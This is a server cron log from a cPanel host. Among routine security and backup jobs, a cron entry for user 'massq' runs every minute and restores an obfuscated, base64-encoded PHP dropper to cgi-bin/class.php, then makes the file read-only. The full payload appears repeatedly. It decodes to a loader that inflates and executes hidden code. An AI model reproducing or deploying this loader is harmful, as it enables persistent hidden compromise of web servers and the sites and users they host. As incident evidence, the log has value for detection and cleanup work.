Sep 13 00:53:01 server CROND[8585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:53:01 server CROND[8586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:53:01 server CROND[8587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:54:01 server CROND[8959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:54:01 server CROND[8960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:54:01 server CROND[8961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:55:01 server CROND[9338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:55:01 server CROND[9339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:55:01 server CROND[9340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:55:01 server CROND[9342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:55:01 server CROND[9341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:55:01 server CROND[9343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:55:01 server CROND[9346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:56:01 server CROND[10303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:56:01 server CROND[10304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:56:01 server CROND[10305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:57:01 server CROND[10676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:57:01 server CROND[10677]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 00:57:01 server CROND[10678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:57:01 server CROND[10679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:58:01 server CROND[11055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:58:01 server CROND[11056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:58:01 server CROND[11054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:59:01 server CROND[11419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:59:01 server CROND[11420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:59:01 server CROND[11418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:00:01 server CROND[11814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:00:01 server CROND[11817]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 13 01:00:01 server CROND[11818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:00:01 server CROND[11816]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:00:01 server CROND[11823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:00:01 server CROND[11824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:00:01 server CROND[11822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:00:01 server CROND[11825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:00:01 server CROND[11821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:01:01 server CROND[12605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:01:01 server CROND[12607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:01:01 server CROND[12606]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 01:01:01 server CROND[12608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:01:01 server run-parts(/etc/cron.hourly)[12606]: starting 0anacron
Sep 13 01:01:01 server anacron[12626]: Anacron started on 2026-09-13
Sep 13 01:01:01 server anacron[12626]: Normal exit (0 jobs run)
Sep 13 01:01:01 server run-parts(/etc/cron.hourly)[12630]: finished 0anacron
Sep 13 01:02:01 server CROND[12965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:02:01 server CROND[12966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:02:01 server CROND[12967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:03:01 server CROND[13427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:03:01 server CROND[13428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:03:01 server CROND[13429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:04:01 server CROND[13793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:04:01 server CROND[13794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:04:01 server CROND[13796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
